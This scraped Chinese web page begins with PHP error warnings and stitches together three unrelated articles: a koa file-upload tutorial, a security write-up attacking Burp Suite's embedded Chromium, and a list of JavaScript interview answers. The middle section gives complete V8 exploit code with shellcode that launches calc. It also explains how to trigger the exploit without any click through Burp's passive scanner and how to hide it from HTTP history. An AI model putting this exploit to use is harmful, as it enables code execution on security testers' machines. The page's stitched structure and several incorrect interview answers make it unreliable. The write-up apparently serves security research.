Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
今年國慶假期終于可以憋在家里了不用出門了,不用出去看后腦了,真的是一種享受。這么好的光陰怎么浪費,睡覺、吃飯、打豆豆這怎么可能(耍多了也煩),完全不符合我們程序員的作風,趕緊起來把文章寫完。
這篇文章比較基礎,在國慶期間的業余時間寫的,這幾天又完善了下,力求把更多的前端所涉及到的關于文件上傳的各種場景和應用都涵蓋了,若有疏漏和問題還請留言斧正和補充。
以下是本文所涉及到的知識點,break or continue ?
原理很簡單,就是根據 http 協議的規范和定義,完成請求消息體的封裝和消息體的解析,然后將二進制內容保存到文件。
我們都知道如果要上傳一個文件,需要把 form 標簽的enctype設置為multipart/form-data,同時method必須為post方法。
那么multipart/form-data表示什么呢?
multipart互聯網上的混合資源,就是資源由多種元素組成,form-data表示可以使用HTML Forms 和 POST 方法上傳文件,具體的定義可以參考RFC 7578。
multipart/form-data 結構
看下 http 請求的消息體
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDCntfiXcSkPhS4PN 表示本次請求要上傳文件,其中boundary表示分隔符,如果要上傳多個表單項,就要使用boundary分割,每個表單項由———XXX開始,以———XXX結尾。
每一個表單項又由Content-Type和Content-Disposition組成。
Content-Disposition: form-data 為固定值,表示一個表單元素,name 表示表單元素的 名稱,回車換行后面就是name的值,如果是上傳文件就是文件的二進制內容。
Content-Type:表示當前的內容的 MIME 類型,是圖片還是文本還是二進制數據。
解析
客戶端發送請求到服務器后,服務器會收到請求的消息體,然后對消息體進行解析,解析出哪是普通表單哪些是附件。
可能大家馬上能想到通過正則或者字符串處理分割出內容,不過這樣是行不通的,二進制buffer轉化為string,對字符串進行截取后,其索引和字符串是不一致的,所以結果就不會正確,除非上傳的就是字符串。
不過一般情況下不需要自行解析,目前已經有很成熟的三方庫可以使用。
至于如何解析,這個也會占用很大篇幅,后面的文章在詳細說。
使用 form 表單上傳文件
在 ie時代,如果實現一個無刷新的文件上傳那可是費老勁了,大部分都是用 iframe 來實現局部刷新或者使用 flash 插件來搞定,在那個時代 ie 就是最好用的瀏覽器(別無選擇)。
DEMO
這種方式上傳文件,不需要 js ,而且沒有兼容問題,所有瀏覽器都支持,就是體驗很差,導致頁面刷新,頁面其他數據丟失。
HTML
<form method="post" action="http://localhost:8100" enctype="multipart/form-data">
選擇文件:
<input type="file" name="f1"/> input 必須設置 name 屬性,否則數據無法發送<br/>
<br/>
標題:<input type="text" name="title"/><br/><br/><br/>
<button type="submit" id="btn-0">上 傳</button>
</form>
復制代碼
服務端文件的保存基于現有的庫koa-body結合 koa2實現服務端文件的保存和數據的返回。
在項目開發中,文件上傳本身和業務無關,代碼基本上都可通用。
在這里我們使用koa-body庫來實現解析和文件的保存。
koa-body 會自動保存文件到系統臨時目錄下,也可以指定保存的文件路徑。
然后在后續中間件內得到已保存的文件的信息,再做二次處理。
NODE
/**
* 服務入口
*/
var http = require('http');
var koaStatic = require('koa-static');
var path = require('path');
var koaBody = require('koa-body');//文件保存庫
var fs = require('fs');
var Koa = require('koa2');
var app = new Koa();
var port = process.env.PORT || '8100';
var uploadHost= `http://localhost:${port}/uploads/`;
app.use(koaBody({
formidable: {
//設置文件的默認保存目錄,不設置則保存在系統臨時目錄下 os
uploadDir: path.resolve(__dirname, '../static/uploads')
},
multipart: true // 開啟文件上傳,默認是關閉
}));
//開啟靜態文件訪問
app.use(koaStatic(
path.resolve(__dirname, '../static')
));
//文件二次處理,修改名稱
app.use((ctx) => {
var file = ctx.request.files.f1;//得道文件對象
var path = file.path;
var fname = file.name;//原文件名稱
var nextPath = path+fname;
if(file.size>0 && path){
//得到擴展名
var extArr = fname.split('.');
var ext = extArr[extArr.length-1];
var nextPath = path+'.'+ext;
//重命名文件
fs.renameSync(path, nextPath);
}
//以 json 形式輸出上傳文件地址
ctx.body = `{
"fileUrl":"${uploadHost}${nextPath.slice(nextPath.lastIndexOf('/')+1)}"
}`;
});
/**
* http server
*/
var server = http.createServer(app.callback());
server.listen(port);
console.log('demo1 server start ...... ');
復制代碼
CODE
https://github.com/Bigerfe/fe-learn-code/
Headless Chrome是谷歌Chrome瀏覽器的無界面模式,通過命令行方式打開網頁并渲染,常用于自動化測試、網站爬蟲、網站截圖、XSS檢測等場景。
近幾年許多桌面客戶端應用中,基本都內嵌了Chromium用于業務場景使用,但由于開發不當、CEF版本不升級維護等諸多問題,攻擊者可以利用這些缺陷攻擊客戶端應用以達到命令執行效果。
本文以知名滲透軟件Burp Suite舉例,從軟件分析、漏洞挖掘、攻擊面擴展等方面進行深入探討。
以Burp Suite Pro v2.0beta版本為例,要做漏洞挖掘首先要了解軟件架構及功能點。
將burpsuite_pro_v2.0.11beta.jar進行解包,可以發現Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系統下運行內置Chromium瀏覽器。
在Windows系統中,Burp Suite v2.0運行時會將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄
從目錄名及數字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件,其打包的Chromium版本為64.0.3282.24。
那如何在Burp Suite中使用內置瀏覽器呢?在常見的使用場景中,Proxy -> HTTP history -> Response -> Render及Repeater -> Render都能夠調用內置Chromium瀏覽器渲染網頁。
當Burp Suite喚起內置瀏覽器browsercore32.exe打開網頁時,browsercore32.exe會創建Renderer進程及GPU加速進程。
browsercore32.exe進程運行參數如下:
// Chromium主進程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
// Renderer進程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
從進程運行參數分析得知,Chromium進程以headless模式運行、關閉了沙箱功能、隨機監聽一個端口(用途未知)。
Chromium組件的歷史版本幾乎都存在著1Day漏洞風險,特別是在客戶端軟件一般不會維護升級Chromium版本,且關閉沙箱功能,在沒有沙箱防護的情況下漏洞可以無限制利用。
Burp Suite v2.0內置的Chromium版本為64.0.3282.24,該低版本Chromium受到多個歷史漏洞影響,可以通過v8引擎漏洞執行shellcode從而獲得PC權限。
以Render功能演示,利用v8漏洞觸發shellcode打開計算器(此處感謝Sakura提供漏洞利用代碼)
這個漏洞沒有公開的CVE ID,但其詳情可以在這里找到。
該漏洞的Root Cause是在進行Math.expm1的范圍分析時,推斷出的類型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)會返回-0的情況,從而導致范圍分析錯誤,導致JIT優化時,錯誤的將邊界檢查CheckBounds移除,造成了OOB漏洞。
<html>
<head></head>
</body>
<script>
function pwn() {
var f64Arr = new Float64Array(1);
var u32Arr = new Uint32Array(f64Arr.buffer);
function f2u(f) {
f64Arr[0] = f;
return u32Arr;
}
function u2f(h, l)
{
u32Arr[0] = l;
u32Arr[1] = h;
return f64Arr[0];
}
function hex(i) {
return "0x" + i.toString(16).padStart(8, "0");
}
function log(str) {
console.log(str);
document.body.innerText += str + '\n';
}
var big_arr = [1.1, 1.2];
var ab = new ArrayBuffer(0x233);
var data_view = new DataView(ab);
function opt_me(x) {
var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
big_arr = [1.1, 1.2];
ab = new ArrayBuffer(0x233);
data_view = new DataView(ab);
let obj = {
a: -0
};
let idx = Object.is(Math.expm1(x), obj.a) * 10;
var tmp = f2u(oob_arr[idx])[0];
oob_arr[idx] = u2f(0x234, tmp);
}
for (let a = 0; a < 0x1000; a++)
opt_me(0);
opt_me(-0);
var optObj = {
flag: 0x266,
funcAddr: opt_me
};
log("[+] big_arr.length: " + big_arr.length);
if (big_arr.length != 282) {
log("[-] Can not modify big_arr length !");
return;
}
var backing_store_idx = -1;
var backing_store_in_hign_mem = false;
var OptObj_idx = -1;
var OptObj_idx_in_hign_mem = false;
for (let a = 0; a < 0x100; a++) {
if (backing_store_idx == -1) {
if (f2u(big_arr[a])[0] == 0x466) {
backing_store_in_hign_mem = true;
backing_store_idx = a;
} else if (f2u(big_arr[a])[1] == 0x466) {
backing_store_in_hign_mem = false;
backing_store_idx = a + 1;
}
}
else if (OptObj_idx == -1) {
if (f2u(big_arr[a])[0] == 0x4cc) {
OptObj_idx_in_hign_mem = true;
OptObj_idx = a;
} else if (f2u(big_arr[a])[1] == 0x4cc) {
OptObj_idx_in_hign_mem = false;
OptObj_idx = a + 1;
}
}
}
if (backing_store_idx == -1) {
log("[-] Can not find backing store !");
return;
} else
log("[+] backing store idx: " + backing_store_idx +
", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
if (OptObj_idx == -1) {
log("[-] Can not find Opt Obj !");
return;
} else
log("[+] OptObj idx: " + OptObj_idx +
", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
var backing_store = (backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
log("[+] Origin backing store: " + hex(backing_store));
var dataNearBS = (!backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
function read(addr) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
return data_view.getInt32(0, true);
}
function write(addr, msg) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
data_view.setInt32(0, msg, true);
}
var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
f2u(big_arr[OptObj_idx])[1] :
f2u(big_arr[OptObj_idx])[0]) - 1;
log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
var shellcode = new Uint8Array(
[0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
);
log("[+] writing shellcode ... ");
for (let i = 0; i < shellcode.length; i++)
write(RWX_Mem_Addr + i, shellcode[i]);
log("[+] execute shellcode !");
opt_me();
}
pwn();
</script>
</body>
</html>
用戶在通過Render功能渲染頁面時觸發v8漏洞成功執行shellcode。
Render功能需要用戶交互才能觸發漏洞,相對來說比較雞肋,能不能0click觸發漏洞?答案是可以的。
Burp Suite v2.0的Live audit from Proxy被動掃描功能在默認情況下開啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞。
其中JavaScript分析配置中,默認開啟了動態分析功能(dynamic analysis techniques)、額外請求功能(Make requests for missing Javascript dependencies)
JavaScript動態分析功能會調用內置chromium瀏覽器對頁面中的JavaScript進行DOM XSS掃描,同樣會觸發頁面中的HTML渲染、JavaScript執行,從而觸發v8漏洞執行shellcode。
額外請求功能當頁面存在script標簽引用外部JS時,除了頁面正常渲染時請求加載script標簽,還會額外發起請求加載外部JS。即兩次請求加載外部JS文件,并且分別執行兩次JavaScript動態分析。
額外發起的HTTP請求會存在明文特征,后端可以根據該特征在正常加載時返回正常JavaScript代碼,額外加載時返回漏洞利用代碼,從而可以實現在Burp Suite HTTP history中隱藏攻擊行為。
GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
JavaScript動態分析 + 額外請求 + chromium漏洞組合利用效果:
默認情況下Java發起HTTPS請求時協商的算法會受到JDK及操作系統版本影響,而Burp Suite自己實現了HTTPS請求庫,其TLS握手協商的算法是固定的,結合JA3算法形成了TLS流量指紋特征可被檢測,有關于JA3檢測的知識點可學習《TLS Fingerprinting with JA3 and JA3S》。
Cloudflare開源并在CDN產品上應用了MITMEngine組件,通過TLS指紋識別可檢測出惡意請求并攔截,其覆蓋了大多數Burp Suite版本的JA3指紋從而實現檢測攔截。這也可以解釋為什么在滲透測試時使用Burp Suite請求無法獲取到響應包。
以Burp Suite v2.0舉例,實際測試在各個操作系統下,同樣的jar包發起的JA3指紋是一樣的。
不同版本Burp Suite支持的TLS算法不一樣會導致JA3指紋不同,但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測只需要將每個版本的JA3指紋識別覆蓋即可檢測Burp Suite攻擊從而實現攔截。
本文章涉及內容僅限防御對抗、安全研究交流,請勿用于非法途徑。
.幾種基本數據類型?復雜數據類型?值類型和引用數據類型?堆棧數據結構?
基本數據類型:Undefined、Null、Boolean、Number、String
值類型:數值、布爾值、null、undefined。
引用類型:對象、數組、函數。
堆棧數據結構:是一種支持后進先出(LIFO)的集合,即后被插入的數據,先被取出!
js數組中提供了以下幾個方法可以讓我們很方便實現堆棧:
shift:從數組中把第一個元素刪除,并返回這個元素的值。
unshift: 在數組的開頭添加一個或更多元素,并返回新的長度
push:在數組的中末尾添加元素,并返回新的長度
pop:從數組中把最后一個元素刪除,并返回這個元素的值。
2.聲明函數作用提升?聲明變量和聲明函數的提升有什么區別?
(1) 變量聲明提升:變量申明在進入執行上下文就完成了。
只要變量在代碼中進行了聲明,無論它在哪個位置上進行聲明, js引擎都會將它的聲明放在范圍作用域的頂部;
(2) 函數聲明提升:執行代碼之前會先讀取函數聲明,意味著可以把函數申明放在調用它的語句后面。
只要函數在代碼中進行了聲明,無論它在哪個位置上進行聲明, js引擎都會將它的聲明放在范圍作用域的頂部;
(3) 變量or函數聲明:函數聲明會覆蓋變量聲明,但不會覆蓋變量賦值。
同一個名稱標識a,即有變量聲明var a,又有函數聲明function a() {},不管二者聲明的順序,函數聲明會覆蓋變量聲明,也就是說,此時a的值是聲明的函數function a() {}。注意:如果在變量聲明的同時初始化a,或是之后對a進行賦值,此時a的值變量的值。eg: var a; var c = 1; a = 1; function a() { return true; } console.log(a);
3.判斷數據類型?
typeof返回的類型都是字符串形式,可以判斷function的類型;在判斷除Object類型的對象時比較方便。
判斷已知對象類型的方法: instanceof,后面一定要是對象類型,并且大小寫不能錯,該方法適合一些條件選擇或分支。
4.異步編程?
方法1:回調函數,優點是簡單、容易理解和部署,缺點是不利于代碼的閱讀和維護,各個部分之間高度耦合(Coupling),流程會很混亂,而且每個任務只能指定一個回調函數。
方法2:時間監聽,可以綁定多個事件,每個事件可以指定多個回調函數,而且可以“去耦合”(Decoupling),有利于實現模塊化。缺點是整個程序都要變成事件驅動型,運行流程會變得很不清晰。
方法3:發布/訂閱,性質與“事件監聽”類似,但是明顯優于后者。
方法4:Promises對象,是CommonJS工作組提出的一種規范,目的是為異步編程提供統一接口。
簡單說,它的思想是,每一個異步任務返回一個Promise對象,該對象有一個then方法,允許指定回調函數。
5.事件流?事件捕獲?事件冒泡?
事件流:從頁面中接收事件的順序。也就是說當一個事件產生時,這個事件的傳播過程,就是事件流。
IE中的事件流叫事件冒泡;事件冒泡:事件開始時由最具體的元素接收,然后逐級向上傳播到較為不具體的節點(文檔)。對于html來說,就是當一個元素產生了一個事件,它會把這個事件傳遞給它的父元素,父元素接收到了之后,還要繼續傳遞給它的上一級元素,就這樣一直傳播到document對象(親測現在的瀏覽器到window對象,只有IE8及下不這樣
事件捕獲是不太具體的元素應該更早接受到事件,而最具體的節點應該最后接收到事件。他們的用意是在事件到達目標之前就捕獲它;也就是跟冒泡的過程正好相反,以html的click事件為例,document對象(DOM級規范要求從document開始傳播,但是現在的瀏覽器是從window對象開始的)最先接收到click事件的然后事件沿著DOM樹依次向下傳播,一直傳播到事件的實際目標;
6.如何清除一個定時器?
window.clearInterval();
window.clearTimeout();
7.如何添加一個dom對象到body中?innerHTML和innerText區別?
body.appendChild(dom元素);
innerHTML:從對象的起始位置到終止位置的全部內容,包括Html標簽。
innerText:從起始位置到終止位置的內容, 但它去除Html標簽
分別簡述五個window對象、屬性
成員對象
window.event window.document window.history
window.screen window.navigator window.external
Window對象的屬性如下:
window //窗戶自身
window.self //引用本窗戶window=window.self
window.name //為窗戶命名
window.defaultStatus //設定窗戶狀態欄信息
window.location //URL地址,配備布置這個屬性可以打開新的頁面
8.數據持久化技術(ajax)?簡述ajax流程
1)客戶端產生js的事件
2)創建XMLHttpRequest對象
3)對XMLHttpRequest進行配置
4)通過AJAX引擎發送異步請求
5)服務器端接收請求并且處理請求,返回html或者xml內容
6)XML調用一個callback()處理響應回來的內容
7)頁面局部刷新
9.回調函數?
回調函數就是一個通過函數指針調用的函數。如果你把函數的指針(地址)作為參數傳遞給另一個函數,當這個指針被用來調用其所指向的函數時,我們就說這是回調函數。回調函數不是由該函數的實現方直接調用,而是在特定的事件或條件發生時由另外的一方調用的,用于對該事件或條件進行響應。
10.什么是閉包?* 堆棧溢出有什么區別? 內存泄漏? 那些操作會造成內存泄漏?怎么樣防止內存泄漏?
閉包:就是能夠讀取其他函數內部變量的函數。
堆棧溢出:就是不顧堆棧中分配的局部數據塊大小,向該數據塊寫入了過多的數據,導致數據越界,結果覆蓋了別的數據。經常會在遞歸中發生。
內存泄露是指:用動態存儲分配函數內存空間,在使用完畢后未釋放,導致一直占據該內存單元。直到程序結束。指任何對象在您不再擁有或需要它之后仍然存在。
造成內存泄漏:
setTimeout 的第一個參數使用字符串而非函數的話,會引發內存泄漏。
閉包、控制臺日志、循環(在兩個對象彼此引用且彼此保留時,就會產生一個循環)
防止內存泄露:
1、不要動態綁定事件;
2、不要在動態添加,或者會被動態移除的dom上綁事件,用事件冒泡在父容器監聽事件;
3、如果要違反上面的原則,必須提供destroy方法,保證移除dom后事件也被移除,這點可以參考Backbone的源代碼,做的比較好;
4、單例化,少創建dom,少綁事件。
11.平時工作中怎么樣進行數據交互?如果后臺沒有提供數據怎么樣進行開發?mock數據與后臺返回的格式不同意怎么辦?
由后臺編寫接口文檔、提供數據接口實、前臺通過ajax訪問實現數據交互;
在沒有數據的情況下尋找后臺提供靜態數據或者自己定義mock數據;
返回數據不統一時編寫映射文件 對數據進行映射。
12 簡述ajax執行流程
基本步驟:
var xhr =null;//創建對象
if(window.XMLHttpRequest){
xhr = new XMLHttpRequest();
}else{
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr.open(“方式”,”地址”,”標志位”);//初始化請求
xhr.setRequestHeader(“”,””);//設置http頭信息
xhr.onreadystatechange =function(){}//指定回調函數
xhr.send();//發送請求
13.自執行函數?用于什么場景?好處?
自執行函數:1、聲明一個匿名函數2、馬上調用這個匿名函數。
作用:創建一個獨立的作用域。
好處:防止變量彌散到全局,以免各種js庫沖突。隔離作用域避免污染,或者截斷作用域鏈,避免閉包造成引用變量無法釋放。利用立即執行特性,返回需要的業務函數或對象,避免每次通過條件判斷來處理
場景:一般用于框架、插件等場景
14.html和xhtml有什么區別?
HTML是一種基本的WEB網頁設計語言,XHTML是一個基于XML的標記語言。
1.XHTML 元素必須被正確地嵌套。
2.XHTML 元素必須被關閉。
3.標簽名必須用小寫字母。
4.空標簽也必須被關閉。
5.XHTML 文檔必須擁有根元素。
15. 什么是構造函數?與普通函數有什么區別?
構造函數:是一種特殊的方法、主要用來創建對象時初始化對象,總與new運算符一起使用,創建對象的語句中構造函數的函數名必須與類名完全相同。
與普通函數相比只能由new關鍵字調用,構造函數是類的標示
16. 通過new創建一個對象的時候,函數內部有哪些改變
function Person(){}
Person.prototype.friend = [];
Person.prototype.name = '';
// var a = new Person();
// a.friend[0] = '王琦';
// a.name = '程嬌';
// var b = new Person();
// b.friend?
// b.name?
1、創建一個空對象,并且 this 變量引用該對象,同時還繼承了該函數的原型。
2、屬性和方法被加入到 this 引用的對象中。
3、新創建的對象由 this 所引用,并且最后隱式的返回 this 。
17.事件委托?有什么好處?
(1)利用冒泡的原理,把事件加到父級上,觸發執行效果
(2)好處:新添加的元素還會有之前的事件;提高性能。
18.window.onload ==? DOMContentLoaded ?
一般情況下,DOMContentLoaded事件要在window.onload之前執行,當DOM樹構建完成的時候就會執行DOMContentLoaded事件,而window.onload是在頁面載入完成的時候,才執行,這其中包括圖片等元素。大多數時候我們只是想在DOM樹構建完成后,綁定事件到元素,我們并不需要圖片元素,加上有時候加載外域圖片的速度非常緩慢。
19.節點類型?判斷當前節點類型?
1. 元素節點
2. 屬性節點
3. 文本節點
8. 注釋節點
9. 文檔節點
通過nodeObject.nodeType判斷節點類型:其中,nodeObject 為DOM節點(節點對象)。該屬性返回以數字表示的節點類型,例如,元素節點返回 1,屬性節點返回 2 。
20.如何合并兩個數組?數組刪除一個元素?
//三種方法。
(1)var arr1=[1,2,3];
var arr2=[4,5,6];
arr1 = arr1.concat(arr2);
console.log(arr1);
(2)var arr1=[1,2,3];
var arr2=[4,5,6];
Array.prototype.push.apply(arr1,arr2);
console.log(arr1);
(3)var arr1=[1,2,3];
var arr2=[4,5,6];
for (var i=0; i < arr2.length; i++) {
arr1.push( arr2[i] );
}
console.log(arr1);
21.強制轉換 顯式轉換 隱式轉換?
//強制類型轉換:
Boolean(0) // => false - 零
Boolean(new object()) // => true - 對象
Number(undefined) // => NaN
Number(null) // => 0
String(null) // => "null"
parseInt( )
parseFloat( )
JSON.parse( )
JSON.stringify ( )
隱式類型轉換:
在使用算術運算符時,運算符兩邊的數據類型可以是任意的,比如,一個字符串可以和數字相加。之所以不同的數據類型之間可以做運算,是因為JavaScript引擎在運算之前會悄悄的把他們進行了隱式類型轉換的
(例如:x+"" //等價于String(x)
+x //等價于Number(x)
x-0 //同上
!!x //等價于Boolean(x),是雙嘆號)
顯式轉換:
如果程序要求一定要將某一類型的數據轉換為另一種類型,則可以利用強制類型轉換運算符進行轉換,這種強制轉換過程稱為顯示轉換。
顯示轉換是你定義讓這個值類型轉換成你要用的值類型,是底到高的轉換。例 int 到float就可以直接轉,int i=5,想把他轉換成char類型,就用顯式轉換(char)i
22. Jq中如何實現多庫并存?
Noconfict 多庫共存就是“$ ”符號的沖突。
方法一: 利用jQuery的實用函數$.noConflict();這個函數歸還$的名稱控制權給另一個庫,因此可以在頁面上使用其他庫。這時,我們可以用"jQuery "這個名稱調用jQuery的功能。 $.noConflict();
jQuery('#id').hide();
.....
//或者給jQuery一個別名
var $j=jQuery
$j('#id').hide();
.....
方法二: (function($){})(jQuery)
方法三: jQuery(function($){})
通過傳遞一個函數作為jQuery的參數,因此把這個函數聲明為就緒函數。 我們聲明$為就緒函數的參數,因為jQuery總是吧jQuery對象的引用作為第一個參數傳遞,所以就保證了函數的執行。
23.Jq中get和eq有什么區別?
get() :取得其中一個匹配的元素。num表示取得第幾個匹配的元素,get多針對集合元素,返回的是DOM對象組成的數組 eq():獲取第N個元素,下標都是從0開始,返回的是一個JQuery對象
24.如何通過原生js 判斷一個元素當前是顯示還是隱藏狀態?
if( document.getElementById("div").css("display")==='none')
if( document.getElementById("div").css("display")==='block')
$("#div").is(":hidden"); // 判斷是否隱藏
$("#div").is(":visible")
25.Jq如何判斷元素顯示隱藏?
//第一種:使用CSS屬性
var display =$('#id').css('display');
if(display == 'none'){ alert("我是隱藏的!"); }
//第二種:使用jquery內置選擇器
<div id="test"> <p>僅僅是測試所用</p> </div>
if($("#test").is(":hidden")){ $("#test").show(); //如果元素為隱藏,則將它顯現 }else{ $("#test").hide(); //如果元素為顯現,則將其隱藏 }
//第三種:jQuery判斷元素是否顯示 是否隱藏
var node=$('#id');
if(node.is(':hidden')){ //如果node是隱藏的則顯示node元素,否則隱藏
node.show();
}else{
node.hide();
}
26.移動端上什么是點擊穿透?
點擊穿透現象有3種:
點擊穿透問題:點擊蒙層(mask)上的關閉按鈕,蒙層消失后發現觸發了按鈕下面元素的click事件跨頁面點擊穿透問題:如果按鈕下面恰好是一個有href屬性的a標簽,那么頁面就會發生跳轉另一種跨頁面點擊穿透問題:這次沒有mask了,直接點擊頁內按鈕跳轉至新頁,然后發現新頁面中對應位置元素的click事件被觸發了
解決方案:
1、只用touch
最簡單的解決方案,完美解決點擊穿透問題
把頁面內所有click全部換成touch事件( touchstart 、’touchend’、’tap’)
2、只用click
下下策,因為會帶來300ms延遲,頁面內任何一個自定義交互都將增加300毫秒延遲
3、tap后延遲350ms再隱藏mask
改動最小,缺點是隱藏mask變慢了,350ms還是能感覺到慢的
4、pointer-events
比較麻煩且有缺陷, 不建議使用mask隱藏后,給按鈕下面元素添上 pointer-events: none; 樣式,讓click穿過去,350ms后去掉這個樣式,恢復響應缺陷是mask消失后的的350ms內,用戶可以看到按鈕下面的元素點著沒反應,如果用戶手速很快的話一定會發現
27.Jq綁定事件的幾種方式?on bind ?
jQuery中提供了四種事件監聽方式,分別是bind、live、delegate、on,對應的解除監聽的函數分別是unbind、die、undelegate、off
Bind( )是使用頻率較高的一種,作用就是在選擇到的元素上綁定特定事件類型的監聽函數;
Live( )可以對后生成的元素也可以綁定相應的事件,處理機制就是把事件綁定在DOM樹的根節點上,而不是直接綁定在某個元素上;
Delegate( )采用了事件委托的概念,不是直接為子元素綁定事件,而是為其父元素(或祖先元素也可)綁定事件,當在div內任意元素上點擊時,事件會一層層從event target向上冒泡,直至到達你為其綁定事件的元素;
on( )方法可以綁定動態添加到頁面元素的事件,on()方法綁定事件可以提升效率;
28.Jq中如何將一個jq對象轉化為dom對象?
方法一:
jQuery對象是一個數據對象,可以通過[index]的方法,來得到相應的DOM對象。
如:var $v =$("#v") ; //jQuery對象
var v=$v[0]; //DOM對象
alert(v.checked) //檢測這個checkbox是否被選中
方法二:
jQuery本身提供,通過.get(index)方法,得到相應的DOM對象
如:var $v=$("#v"); //jQuery對象
var v=$v.get(0); //DOM對象
alert(v.checked) //檢測這個checkbox是否被選中
29.Jq中有幾種選擇器?分別是什么?
層疊選擇器、基本過濾選擇器、內容過濾選擇器、可視化過濾選擇器、屬性過濾選擇器、子元素過濾選擇器、表單元素選擇器、表單元素過濾選擇器
30.Jq中怎么樣編寫插件?
//第一種是類級別的插件開發:
//1.1 添加一個新的全局函數 添加一個全局函數,我們只需如下定義:
jQuery.foo = function() {
alert('This is a test. This is only a test.'); };
//1.2 增加多個全局函數 添加多個全局函數,可采用如下定義:
jQuery.foo = function() {
alert('This is a test. This is only a test.'); };
jQuery.bar = function(param) {
alert('This function takes a parameter, which is "' + param + '".'); }; 調用時和一個函數的一樣的:jQuery.foo();jQuery.bar();或者$.foo();$.bar('bar');
//1.3 使用jQuery.extend(object);
jQuery.extend({
foo: function() {
alert('This is a test. This is only a test.');
},
bar: function(param) {
alert('This function takes a parameter, which is "' + param +'".');
}
});
//1.4 使用命名空間
